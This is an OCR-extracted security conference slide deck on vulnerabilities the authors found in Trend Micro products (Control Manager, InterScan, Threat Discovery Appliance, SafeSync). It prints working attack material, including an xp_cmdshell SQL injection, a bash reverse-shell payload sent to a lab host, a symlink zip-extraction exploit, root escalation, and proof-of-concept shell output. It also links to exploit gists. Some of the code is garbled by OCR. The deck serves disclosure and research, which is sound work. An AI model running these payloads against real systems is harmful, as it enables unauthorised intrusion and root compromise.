vanced+options ', 1;RECONFIGURE; EXEC+sp_configure+ xp_cmdshell’,1;RECONFIGURE;exec+master.dbo.xp
_cmdshell+ 'whoami+>+c:\\zdi|.txt ' ;select+convert(int,user name()), 'l HTTF/1l.1

Host: 172.16.175.186

Cookie: ASP HET Sessionld=ethnaydSugkObozzptgjlgss

j Raw T Headers T Hex T HTML T Render TViewState 1

<td class="datal">
<gpan id="DescriptionTitle"><b>Description:</b></

'span>
<gspan 1id="DescriptContent”">Procedure or function _ has too
many arguments specified.

Conversion failed when converting the nvarchar value 'dbo’' to data type int.

Configuration option 'show advanced options’ changed from 1 to 1. Run the RECONFIGURE
statement to install.

Configuration option 'xp_cmdshell’ changed from 1 to 1.
install.</span><br />

Run the RECONFIGURE statement to




AdHocQuery_Processor SQL Injection

—— = - - - —— -~ — - <

= Combining two different vulnerabilities allows for unauthenticated
- remote code execution

= Low privileged code execution, however the local attack surface was
not analyzed at the time

* Information disclosure and code execution vulnerabilities also existed
in the PHP interface, which could have been combined also

- = |t just takes a single authentication bypass and you have several post
authenticated SQL->RCE vulnerabilities to reach -

= This bug was S|Iently patched byTrend Micro ey R
)LSBCIII’I ( "\
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modDLPTemplateMatch_drildown File
Inclusion ‘

= Verysilly bug, simple Local File Inclusion

= Three Instances of this vulnerability because the code location was
copied three times over in production... ’

* Needed a special primitive for modern local file inclusion

ZDI-17-066 CVE: Published: 2017-02-07

Trend Micro Control Manager modDLPTemplateMatch_drildown Directory Traversal Remote Code Execution
Vulnerability

ZDI-17-065 CVE: Published: 2017-02-07

Trend Micro Control Manager modDLPTemplateMatch_drildown Directory Traversal Remote Code Execution
Vulnerability

ZDI1-17-064 CVE: Published: 2017-02-07

Trend Micro Control Manager modDLPTemplateMatch_drildown Directory Traversal Remote Code Execution
Vulnerability




modDLPTemplateMatch_drildown File
Inclusion ‘

H
|

No authentication needed ! (But low privileged code execution, boo!)

saturn:trend_micro_control_manager_modDLPTemplateMatch_drildown_1fil mr_me$ ./poc.py 172.16.175.137 172.16.175.1:1337

| Trend Micro Control Manager <= 6.5 (patch 3328) modDLPTemplateMatch_drildown.php LFI Remote Code Execution Vul
| found & developed by mr_me 2016

(+) shell uploaded...

(+) starting handler on port 1337
(+) connection from 172.16.175.137
(+) pop thy shell!

whoami

nt authority\iusr

ipconfig

Windows IP Configuration

Ethernet adapter Ethernet®:

Connection-specific DNS Suffix . : localdomain

Link-local IPv6 Address . . . . . : fe80::9dfb:feb8:e5bb:b24d%12
IPv4 Address. . . . . « « « « .« . & 172.16.175.137

Subnet Mask + + « « &« « « &« « « « + 255.255,255.0

Default Gateway . . « « « « « « .  172.16.175.2




Results

ZDI-17-060

ZDI-17-066

ZDI-17-072

ZDI-17-078

ZDI-17-084

ZDI-17-090

ZDI-17-096

ZDI-17-061

ZDI-17-067

ZDI-17-073

ZDI-17-079

ZDI-17-085

ZDI-17-091

ZDI-17-097

ZDI-17-062

ZDI-17-068

ZDI-17-074

ZDI-17-080

ZDI-17-086

ZDI-17-092

ZDI-17-098

ZDI-17-063

ZDI-17-069

ZDI-17-075

ZDI-17-081

ZDI-17-087

ZDI-17-093

ZDI-17-099

The following advisories may be found at Trend Micro's Zero Day Initiative Published Advisories site:

ZDI-17-064

ZDI-17-070

ZDI-17-076

ZDI-17-082

ZDI-17-088

ZDI-17-094

ZDI-17-100

ZDI-17-065

ZDI-17-071

ZDI-17-077

ZDI-17-083

ZDI-17-089

ZDI-17-095

ZDI-17-101




InterScan Web Security



What is it?

= Secure web gateway

— Inspect web traffic against known patterns, anti-malware database, URL reputation and other

Trend Micro products .

= Apache Tomcat-and Struts 2 framework
— Code implemented in IWSSGui.jar

= How many vulnerabilities in this product?
— gax Remote Code Execution vulnerabilities
= 4x do not require authentication ;
— axAuthentication bypass and 2x Information disclosure

- = Previous patch for vulnerabilities found by ZDI failed:

ZDI-16-351, ZDI-16-350, ZDI-16-349 & ZDI-16-348

= The ability to bypass authentication
— ...and no, its not in the session filter rgod ©

);Ls/e curidt



Patch Bypass

private String escapeParam(String strParam)

1

String afterParam —=strPargiy
afterParam = afterParam.replace ("\"", "\\\"");
afterParam = afterParam.replacé("$", A -

afterParam = afterParam.replace(" ", "\\‘");v

return afterParam;

}

AN‘:?E&]{Fi;
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Patch Bypass

‘bash -i >& [EMAIGHETHINGS
/dev/tcp/<ip>/<port> 0>&l1l

securi / Q
, ¥



Other people's findings

e— - - - — | Rk B L Pl gt

= ‘Looks like we missed a few RCE vulnerabilities...

- = https://www. koreloqm com/Resources/AdV|sor|es/KL 001-2017-003.txt
(ConﬂgBackup’acUon import)

- -https://www.korelogic.com/Resources/Advisories/KL-001-2017-001.txt
(ConfigBackup?action=upload_check)

= Next time, we'll pay more attention

= Now, lets review a single, critical vulnerability that has been patched!

Yloeeni | S ' N
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https://www.korelogic.com/Resources/Advisories/KL-001-2017-003.txt
https://www.korelogic.com/Resources/Advisories/KL-001-2017-001.txt

doPostMountDevice Unauthenticated Command
Injection Vulnerability

@Path("/mount_device")
@POST
@Produces({"application/json"})
public Response doF ountDevice(String PostData)
{
Response response = null,;
try
{

int res = 0;

int resl = 0;

IWSSINI ini = new IWSSINI("/etc/iscan/intscan.ini");
JSONObject result = new JSONObject();

File mFile = new File("/var/offload");

if (!mFile.isDirectory())

71



doPostMountDevice Unauthenticated Command
InJechon VUIHZI"GbI'ITy

JSONOb £

String cmd = jsonPostData.
boolean is_mount = cmd.equals("mount");

res = IWSSUtiljexeUihelperCmd("do_mount/unmount", mount_device);

What is exeUihelperCmd anyway?

A’WLSMG curi | - (»-Nx‘
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doPostMountDevice Unauthenticated Command
InJechon Vulnemblln‘y

public static int exeUihelperCmd(String type, String subcmd)

{
String[] cmdStr = { "/etc/iscan/AdminUI/uihelper", subcmd };

return exeCmd(type, cmdStr);

by

...and what is exeCmd anyway? Hang on a tick...

That's an interesting command ‘/etc/iscan/AdminUl/uihelper’

‘A,q‘ks”e curi | - (’-\%
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doPostMountDevice Unauthenticated Command
InJec’rlon Vulnemblln‘y

public static int exeCmd(String type, String[]|cmdStr)

{
StringBuilder sb = new StringBuilder();

for (String aCmdStr : cmdStr) {
sb.append(aCmdStr).append(" ");

+

UI_out_println("skx " + type + " command str skk——> " + sb.toString());

try

{

Process|cmdp = Runtime.getRuntime().exec(cmdStr, null, null);

,J'W;s ecuri
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| doPostMountDevice Unaufhem“lca’red Command
InJechon Vulnerablln‘y i

QUUI_‘U_}QJ?)L-,,
)} securit:;



doPostMountDevice Unauthenticated Command
InJec’non VUIHZI"GbIlITy

s = - —— - ——— - — — -

POST /rest/commonlog/log_setting/mount_device HTTP/1.1
HogEs: fhostls 1817 ‘

Connection: -close A

Content-Type: application/x-www—form-urlencoded
Content-Length: 77

fYomount device'":”\ bash —i >&
/dev/tcp/172.16.175.1/1337 0>&1 " ","cmd":" mount"}

A,*J{GCilii | - (hN%
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Patch

EE————— — ——

First, they check for a remote request, probably not the best way, since a
SSRF can defeat this

@Path("/mount_device")

@POST

@Produces({"application/json"})

public Response doPostMountDevice(String PostData)

response !
return response;

77



Patch

2. Then, a check to see if the mount_device is valid by calling
isVaIidMountDeviCe()

JSONOb]ect JsonPostData = JSONOb]ect fromObject(PostData);
: ring("mount_device");

IWSSUtil.UI_out_println("input params [mount device] invalid, mount_device: " + mount_device);
return Response.status(Response.Status.NOT_FOUND).build();

¥

String cmd = jsonPostData.getString("cmd");

boolean is_mount = cmd.equals("mount");

res = IWSSUtil.exeUihelperCmd("do_mount/unmount", mount_device, token);

4'4‘;5"2 curi ' @ (?“~qh
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Patch

3. Astring match that
can't be defeated!

);ksecuri

public boolean isValidMountDevice(String MD)

{

}

String[] params = MD.trim().split(" ");
hoolean isValid = false;
if (params.length == 0) {
return false;
b

if (params.length == 3)
{
IWSSUtil.UI_out_println(" [MountDevice] Param@: " + params[0]);
IWSSUtil.UI_out printin(" [MountDevice] Paraml: " + params([1]);
IWSSUtil.UI out println(" [MountDevice ;
if ((params[0].trim().equals("mount")) && (params[2].trim().equals("/var/offload")))
{
File dev = new File(params([1]);
isValid = dev.exists();

¥

else if (params.length == 2)

IWSSUtil.UI_out_println(" [MountDevice] Param@: " + params([0]);
IWSSUtil.UI_out printin(" [MountDevice] Paraml: " + params([1]);
if ((params[0].trim().equals("umount")) & (params[1].trim().equals("/var/offload"))) {
isValid = true;
¥
¥

return isValid;



~ Patch

gl I I e I VR e G
); securit




uihelper Elevation of Privilege

———— = - —

= The previous vulnerability pops a root shell...
= Using the function exeUiHelperCmd method in Java

* However, sometimes the injection was in a different sink, and it
achieved code execution as the ‘iscan’ user

= As it turns out, exeUiHelperCmd is just a wrapper around Java’s
exec() calling a SUID script that executes a command...

= We wanted root, so we used the ‘uihelper.sh’ to get root access

l);L‘s”e’ curi
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uihelper.sh Elevation of Privilege

o X e = — ————— = — S

saturn:~ mr_me$ nc -lv 172.16.175.1 1337
id

uid=498(iscan) gid=499(iscan) groups=499(iscan)

uname -a

Linux localhost.localdomain 2.6.32-279.0penVA.3.5.1271.¢

/etc/iscan/AdminUI/uihelper sh

1C

uid=0(root) gid=0@(root) groups=0(root),499(iscan)
uname -a
Linux localhost.localdomain 2.6.32-279.0penVA.3.5.1271.¢
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Results

);ks ecu

ZDI-17-193

ZDI-17-198

ZDI-17-203

ZDI-17-208

ZDI-17-213

ZDI-17-218

ZDI-17-223

ZDI-17-228

ZDI-17-233

ZDI-17-194

ZDI-17-199

ZDI-17-204

ZDI-17-209

ZDI-17-214

ZDI-17-219

ZDI-17-224

ZDI-17-229

ZDI-17-195

ZDI-17-200

ZDI-17-205

ZDI-17-210

ZDI-17-215

ZDI-17-220

ZDI-17-225

ZDI-17-230

The following advisories may be found at Trend Micro's Zero Day Initiative Published Advisories site:

ZDI-17-196

ZDI-17-201

ZDI-17-206

ZDI-17-211

ZDI-17-216

ZDI-17-221

ZDI-17-226

ZDI-17-231

ZDI-17-197

ZDI-17-202

ZDI-17-207

ZDI-17-212

ZDI-17-217

ZDI-17-222

ZDI-17-227

ZDI-17-232




Demo

bash-3.2% [



Threat Discovery Appliance

End of Life (EOL)



What is it?

— - : ——— : e D T s T

= Network monitor solution to inspect traffic against signatures/threat
intelligence |

- End of Life, nolonger a #Trend
= Appliance using CentOS with an ancient kernel
= Authentication Bypass via an unauthenticated file delete!

* How many vulnerabilities?

- 9x OS Command Injection vulnerabilities in the CGlI
= File upload with zip extraction!
— 2x Authentication bypasses

);L"s“e' curi | - r\'\‘
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Directory Traversal Authentication Bypass
VulnerablllTy

= Analysis
— In the Threat Discovery Appliance, sessionid value is also used as a folder name
A under/var/log/
ey g. /var/log/e8d49ad18d202d671fffcdse7f37ba8b

— Inside the sessionid folder, a SQLite database is used to check whether the user
is authenticated

. Static analysis was required to understand how it was working

— Session management is handled by:
[opt/TrendMicro/MinoritReport/lib/mini_ httpd/ut|ls SO

= Inthis library, the logoff mechanism caught our attention

l);L\s”e’ curi ' o m



Directory Traversal Authentication Bypass
Vulnerability

v
I
dword 6GCEB




Directory Traversal Authentication Bypass

Vulnerability

= Inside delete _session() function:
A reference to /va r/log/session/%s/%s

~ Then following a call to system() with arguments as
{binfrm —rf %s

- By tracing the %s, we realized that comes from the
sessionid cookie parameter provided to the logoff request

Jogi-bin/ logoff.ogi HTTRESL.1

O (Windows NT &.1; WOWed; rw:51.0)
#/51.0

f?hfml+"ml applicatimnfxml;q=ﬂ.9,*f*;q=D.E

);ks ecu

eax, [ebprarg_#]
[espe1Bh], eax

eax, (alarlLogSession B298h)[ebx] ; “Svar/

[espeBCh], eax

eax, (ass_1 B29Bh)[ebx] ;
[espeB], eax ; Format

dword ptr [esp+s], 411h ; maxlen
eax, [ebp+s]

[esp]., eax HIE

_snprintF

eax, [ebprvar 6]

[espe4], eax 3 int

eax, [ebp+s]

[esp], eax ; Filename
sub_6A&a

eax, eax

sShort loc_ W/ER

eax, ds:{dword_ 6CER B298h ) [ebx]
[ebpevar_L4B9], eax

eax, ds:{dword_ &6CEF B298h ) [ebx]
[ebpervar_485], eax

eax, ds:{dword_ 6&6CF3 B298h ) [ebx]
[ebpevar_ LB1], eax

eax, [ebp+s]

[esp*BCh], eax

eax, (aBinRnRFS - 8298Bh)[ebx] ; “/bi

[espe8], eax ; Format

dword ptr [esp+4], 4100 ; maxlen
eax, [ebp+comnand]

[esp], eax

_snprintf

eax, [ebp+command]

[esp], eax 7 command
_system




Directory Traversal Authentication Bypass
Vulnerability f e

eax, [ebprarg_8]

[espes1Bh], eax

eax, (alarLogSession 8298h)[ebx] : “fvar/log/sessi
[espeBCh], eax

eax, (ass_1 B29Bh)[ebx] ;
[espe8], Pax + Format

dword ptr [esp+4], 411h ; maxlen
eax, [ebp+s]

[esp]. eax HE

_snprintf

eax, [ebp+var_ 60]

[espe4], eax ; int

eax, [ebp+s]

[esp], eax ; Filename
sub_6n4a

eax, eax

short loc_LFER

; httributes: bp-based frame

; int _ cdecl sub 6A4B{char =filename, int)
sub_6A4A proc near

filename= dword ptr &
arg_4%= dword ptr 8Ch

push ebp

mou ebp, esp

push ebhx
esp, @Ch
eax, [ebp+arg_4]
sub_Z2AB7
ebx, 184%h
dword pty [esp], 3 ; ver
[esp+8], eax ; stat_buf
eax, [ebp+filename]
[esp+4], eax ; filename
____¥stat

add esp, ACh

pop ebx

pop ebp

retn

sub_6A48 endp

eax, ds:{dword_6CER B298h) [ebx]
[ebpevar_489], eax
eax, ds:{dword_&6CEF B298h) [ebx]
[ebpevar 48%5], eax
eax, ds:{dword_&6CF3 B298h) [ebx]
[ebpevar 4B1], eax
¥, [ebp+s]
[esp+BCh], eax
eax, (aBinRnRFS - B298h)[ebx] ; “/bin/
1. eax s Format
ptr [espes], 410K ; maxlen
eax, [ebp+command]
[esp], eax
_snprintF
eax, [ebp+command]
[esp], eax 7 command
_system




Directory Traversal Authentication Bypass
VulnemblllTy

= Constraints

- File needs to actually exist because there is a call to
- xstat()

* No special characters allowed to inject commands

- Only way is to use the delete operatlon to achieve
something

* Delete and reach default state (where admin password
is known)

il /opt/TrendM|cro/M|nor|tyReport/etc/|gsa conf

v)Lsecurl /f\‘\‘



Directory Traversal Authentication Bypass
VulnemblllTy

= Path to exp_loitation
- 1. Attacker triggers delete action of igsa.conf

2. Appliance becomes unusable, sysadmin will be
forced to restart the box

3. Appliance will automatically create a new igsa
file with a default admin password

4. Attacker waits until the box is restarted and use
default password |

)iL»s”e curi ' P r-\
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Directory Traversal Authentication Bypass
VulnemblllTy

How was it discovered?

= A te_chniqu_e’was to inspect file system for changes in the
last minute, after a logoff, by running a command such as:

— find /* -path /proc -prune -0 -cmin -1
— Inotify can also be used

= Also inspecting key folder (/var/log/sessionid/ ) to check
what happened after logoff

v);L\s“e curi ' - m
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dlp_policy_upload.cgi zip extraction

et = - ——

— Allows attackers to upload zip files that are
~ extracted

— Extracts into a predictable folder directory
— Can't use traversal attacks in the zip

- However, we can extract evil.sh

- How are we to exploit this ?

v);L\s“e curi
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dlp_policy_upload.cgi zip extraction

==

@steventseeley two files inside the archive: 1st is
a symlink, let's say 'a' pointing to /dir. 2nd is
a/whatever to overwrite /dir/whatever

T s BrfaneaRi
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dlp_policy_upload.cgi zip extraction

— = - = . — e

Stage 1 —Upload the 1%t zip to create the symlink

z1 = zzpraete  ZipInfo()

zl.filename = u's1i'

Zl externalagtir = UL 70000 E bl

7zl :compress _typel —21pfile /I wEaRED
Zeowra testr (25

- "/opt/TrendMicro/MinorityReport/bin/")

‘);L‘s“e' curi | - r\
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dlp_policy_upload.cgi zip extraction

E——

Stage 2 — Upload the 2" zip to write into the
symlinked directory

2 — zipbile.ZipIinTo(fel/ dlp Krisi.shis

Zi Jexteriin o gk br = L o< 16L
gdira testrlu s =aet oebl))

‘);L\s“e' curi
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dlp_policy_upload.cgi zip extraction

et = - —

1. Reset the admin’s password back to ‘admini23’

L

. Login and Upload 2 zip files

Extract the zip’s, overwriting a shell script
. Trigger shell script from CGl|

#Trend

oW

‘);L\s“e' curi
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dlp_policy_upload.cgi zip extraction

saturn:trend_micro_threat_discovery_dlp_policy_upload_rce mr_me$ ./poc.py
(+) usage: ./poc.py <target> <pass>

(+) eg: ./poc.py 172.16.175.123 admin
saturn:trend_micro_threat_discovery_dlp_policy_upload_rce mr_me$ ./poc.py 172.16.175.123 adminl23
(+) logged into the target...

(+) performing initial preflight attack...!

(+) uploading the zipped symlink...

(+) successfuly uploaded the zipped symlink

(+) extracting the symlink...

(+) extracted the symlink!

(+) uploading the zipped dlp_kill.sh...

(+) successfuly uploaded the zipped log_cache.sh

(+) extracting the dlp_kill.sh to /opt/TrendMicro/MinorityReport/bin/...
(+) extracted the dlp_kill.sh file!

(+) starting backdoor...

(+) backdoor started !

(+) dont forget to clean /opt/TrendMicro/MinorityReport/bin/d1lp_kill.sh !
(+) run: sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh

id

uid=0(root) gid=0(root)



Demo

bash-3.2% ||



Bonus for #HITB2017AMS |

S — < = - ———

Proof of Concept exploit code for the following vulnerabilities
affecting Trend Micro Threat Discovery Appliance:

S ENEZEEE=8584 |

= [CVE=2016-7552]":

= [CVE-2016-8586]:
= [CVE-2016-85857:

e N o= 85380 ]

m [ CNEZ 20168587 ] ;

);k? ecuridt

::Sessibn'Generation Authentication Bypass
:Diﬁectory Traversal Authentication Bypass
:dlp_policy_upload.cgi Information Disclosure
:admin sys time.cgi Command Injection RCE
:detectéd_potential;fileé.cgi Command Injection RCE

:dlp policy upload.cgi.Zip Extraction RCE
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https://gist.github.com/malerisch/0b8ecfcb03a2c2f26e5f649cf1df8d33
https://gist.github.com/malerisch/5de8b408443ee9253b3954a62a8d97b4
https://gist.github.com/malerisch/b8764501d299f2ec9eb145258d404e5f
https://gist.github.com/malerisch/91239147d4fceffa63006974889ef1af
https://gist.github.com/malerisch/91239147d4fceffa63006974889ef1af
https://gist.github.com/malerisch/aac1ad3e6f3bfd70b35ba6538ecbff23

But wait, there's more!

= [CVE=2016-8588] :

» [CVE-2016-8589]:

. [CVE-2016-8590]:

= [CVE22016-85917 :

B G O =359

= [CVE-2016-85937:

Finally, a pull request for a Metasploit module that

OGSO S e

:hotfix upload.
:1log- query dae.

:1log query dlp.

cgl Command Injection
cgl Command Injection
cgl Command Injection

Command Injection RCE

:upload.cgi File Upload RCE

RCE
RCE

RCE

:1log query system.cgi Command Injection RCE

uses, CVEa2RB6 —T 552" and " CVE=20T6=7 5472

///’”‘>-q§k

102


https://gist.github.com/malerisch/93be2141dfc5709159468762937f2853
https://gist.github.com/malerisch/3bbb6d0b235fa5af2ba6f05826fe3846
https://gist.github.com/malerisch/7b84a4bd6eee0a3a591677f421653a2e
https://gist.github.com/malerisch/5dd838a723b342bb04121f29a8333e00
https://gist.github.com/malerisch/0c78e49124561524fd59d6635007eefd
https://gist.github.com/malerisch/c59ab650c8e226ef22cdfbfeeee6d4ec
https://github.com/rapid7/metasploit-framework/pull/8216

Mobile Security for Enterprise



What is it?

———— = - —

Central solution to secure mobile devices within an organization
— Supports Android, i0S, Windows Phones, Blackberry
- Policies based |

Under the hood
— Windows IIS [ Compiled CGl / MSSQL / PHP ©

How many vulnerabilities?
— Found remote memory corruption pre-authenticated

— Sitting on 80 zero-day’s, at least 10 are pre-authenticated
— Authentication bypasses also exist in the target...

=5 But...

);L"s“e'c uri
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= Isa

UnhENOI !
securit.;
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Demo

bash-3.2% ]



SafeSync for Enterprise



About

— - : ——— : e D T s T

Central enterprise solution to secure data within an organization
— Provides encryption and data tagging

— File versioning and backup

= ACL on who can access what

Under the hood

— Linux CentOS Appliance
~ Lots of Perl code, not our favourite language!

How many vulnerabilities?

- 20 x Command Injection vulnerabilities discovered, using a similar pattern to the one
patched by Trend Micro themselves

— SQL Injection in the authentication, which was silently patched by Trend Micro!
= Allows an attacker to bypass the authentication o m

);L‘s/ ecuri
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Motivation

Why did we pick this target?

= Because another researcher found a Code Injection in it and we have
never tested Perl. It could be fun we said...

Trend Micro Bug Hunting - Part |l

Sep 6, 2016

Trend Micro Safe Sync for Enterprise is affected by a remote command execution

can be exploited by authenticated user on the web administration panel of Safe S
. . . /‘)/
)4&3 e ¢t i remote command execution with root privileges. f\\
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Hunting for vulnerabilities

— < - = 2 e ——

= Approach
-~ Look at the vulnerable code pattern, and try to find every instance...

sub ad_sync_now_ PUT ({
my ( Sself, $c ) = @ ;
my Sreqdata = $c->reg->data;
my S$server id = S$reqgdata->{id};

my Sresult;

eval {

system("/opt/SingleInstaller/ad module/ad python/bin/python /opt/SingleInstaller/e
}i
my $e;




Hunting for vulnerabilities

\\ I

$regdata is our input... easy to grep the code for “system(

./SingleInstaller/MgmtUI/lib/MgmtUI/Controller/api/admin/ad.pm: system($cmd);
./SingleInstaller/MgmtUI/lib/MgmtUI/Controller/api/admin/ad.pm: system("perl fopt/TrendMicro/MgmtSys/BackendTools/bin/1ldap_integration_job.pl —-remove_$matched_cho
./SingleInstaller/MgmtUI/lib/MgmtUI/Controller/api/admin/ad.pm: system("/opt/SingleInstaller/ad_module/ad_python/bin/python /opt/SingleInstaller/ad_module/ad_changed_s
d --updatehost $server_id &");

./SinglelInstaller/MgmtUI/1ib/MgmtUI/Controller/api/admin/syssetting.pm: system("ssh $host 'nohup $CONF_NET $args >>$LOGFILE 2>&1 </dev/null &'");
./SingleInstaller/MgmtUI/1ib/MgmtUI/Controller/api/admin/syssetting.pm: system("ssh $host 'nohup $CMD >>$LOGFILE 2>&1 </dev/null &'");
./SingleInstaller/MgmtUI/lib/MgmtUI/Controller/api/admin/syssetting.pm: system("$CMD >>/var/log/osdp/mgmtui.log 2>&1 &");
./SingleInstaller/MgmtUI/lib/MgmtUI/Controller/api/admin/syssetting.pm: system('service avscand restart &');
./SingleInstaller/MgmtUI/1ib/MgmtUI/Controller/api/admin/virus_scan.pm: system('service avscand restart &');
./SingleInstaller/MgmtUI/1ib/MgmtUI/Controller/api/admin/virus_scan.pm: system('service avscand restart &');
./SingleInstaller/MgmtUI/1lib/MgmtUI/Controller/api/admin/virus_scan.pm: system($command) ;

./SingleInstaller/MgmtUI/1ib/MgmtUI/Controller/api/adsync.pm: system('/opt/SingleInstaller/ad_module/ad_python/bin/python /opt/SingleInstaller/ad_module/ad_total_sync.py &
./Singlelnstaller/MgmtUI/root/js/admin_system_maintenance.js: Restart_System();

./SingleInstaller/MgmtUI/root/js/admin_system_maintenance.js: Shutdown_System();

./SinglelInstaller/MgmtUI/root/js/admin_system_maintenance.js:function Restart_System(){

./SingleInstaller/MgmtUI/root/js/admin_system_maintenance.js:function Shutdown_System(){

./SingleInstaller/MgmtUI/root/js/admin_system_update.js: updateSystem();

./SingleInstaller/MgmtUI/root/js/admin_system_update.js:function updateSystem() {

./SingleInstaller/MgmtUI/root/js/dashboard.js: function reflesh_system() {

./SingleInstaller/MgmtUI/root/js/dashboard.js: reflesh_system();

./SingleInstaller/MgmtUI/root/js/dashboard.js: reflesh_system();

./SingleInstaller/nodeControl/bin/adjustServerParams.pl: system("sed -i 's/~innodb_buffer_pool_size.*\$/innodb_buffer_pool_size = $innodb_buffer_pool_size/g' $MYSQL_CONF")
./SingleInstaller/nodeControl/bin/adjustServerParams.pl: system("sed -i 's/”~innodb_thread_concurrency.*\$%$/innodb_thread_concurrency = $innodb_thread_concurrency/g' $MYSQL_(
./Singlelnstaller/nodeControl/bin/adjustServerParams.pl: system("sed —-i 's/~innodb_commit_concurrency.*\$/innodb_commit_concurrency = $innodb_commit_concurrency/g' $MYSQL_(
./SingleInstaller/nodeControl/bin/adjustServerParams.pl: system("sed -i 's/Thumb:2:[[:digit:]+],Stream:2: [[:digit:]+]/Thumb:2:$thumb,Stream:2:$stream/g' $GEARMAN_CONF");

);ksecuri
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Hunting for vulnerabilities

—— = - = = - —— - — — -

= Also, since we were tracing $reqdata as input, we found multiple SQL
Injections while we were at it. However, most were parameterized

» The permissions on the database were strict, we couldn't leverage it
for anything more than information disclosure... |

ZDI-17-132 CVE: Published: 2017

Trend Micro SafeSync for Enterprise displayName_get SQL Injection Information Disclosure Vulnerability

= Asitturns out, information disclosure was just what we needed...

);L"s“e' curi | - r\'\‘
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_get_user_hpassword SQL Injection

—— = - = = - —— - — — -

in Cofitroller/api/auth pm:

sub.-£9gin "‘PUT {°
My bsclf Seoae ==

$c->model ('DBI')->dbh () ->{mysql auto reconnect} = 1;

my Susername = $c->req->data->{username};

my - Stiser = Storage::User—>new(Stisernane,; losdply:
| my. Shpassword expect = get user hpassword ($username) <
);Ls ecuri r\\

113



_get_user_hpassword SQL Injection

— - : ——— : L XY S Sy e

sub el UScr-hpassword =%

my $dbh = Storage::DB->dbh( { db => 'osdp' } );
my $admin name = shift; |
my $sql = dqgt

SELECT DISTINCT hpassword
FROM users

WHERE login name = 'S$admin name' };

my - (suser password) = $dbh->selectrow array($sql); o ("Qi

AN‘:fec uwriol
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_get_user_hpassword SQL Injection

—— = - — . D e e e

(+) leaking session...

(!) adef06a0d9d206ff562123e6196f04a260eadlbf
(+) It took 0:08:46.008021 to complete!

(+) executing code...

(+) starting handler on port 1337

(+) connection from 172.16.175.123

(+) launching shell!

bash: no job control in this shell
root@appliancel:/# id

id

uid=0(root) gid=0(root) groups=0(root)
root@appliancel:/# uname -a

uname -a

Linux appliancel 3.11.0-15-generic #25~precisel-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
root@appliancel:/# exit

Jleecuri ' . A e
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Overall Results

= Theresearch is still going on:
— Total products tested so far: 11
— Average number of vulnerabilities per product: ~24
- Remote Code Execution vulnerabilities so far: 236

= |nall targets we tested, we found a way to gain remote code execution

= At least 2 failed patches:
- 1 patch introduced a vulnerability
— 1 patch failed to patch adequately

= Inonly 1 product was the database permissions correct, denying access to the
- underlying operating system from an SQL Injection

= InterScan had the highest number of code injection vulnerabilities
Code review and/or reverse engineering was required for all targets ey =

‘);L\s“e' c uri
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Thanks!

Trend Micro

The Zero Day Initiative

Hack in The Box

Offensive Security

The motivators: @alorla @quine, @Qkalser @korprit and
@rgod777!

);kswé“é"]i Tit

118



| 4Come and train wi’rh us

@FFED‘]@DWE'

secu rity

S
2 ADVANCED WEB ATTACKS

ANDEEXPLOITATION



—

Questions? -

. '-7S!Fe.ven SQE|ey (m r_FﬁE) ;’.1'-‘-,;-'-

@steventseeley, e

'-Ht'tph://sr'cincite.io/

Roberto Suggi Liverani (malerisch)

@malerisch

'http://blog.m.alerisch.n”et

))k ecurity/
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https://twitter.com/steventseeley
http://srcincite.io/
https://twitter.com/malerisch
http://blog.malerisch.net/
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Demos
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. .»h{ttps://asciinema.org/a/112'§68 22

= https://asciinema.org/a/112563

* = https://asciinema.org/a/112567
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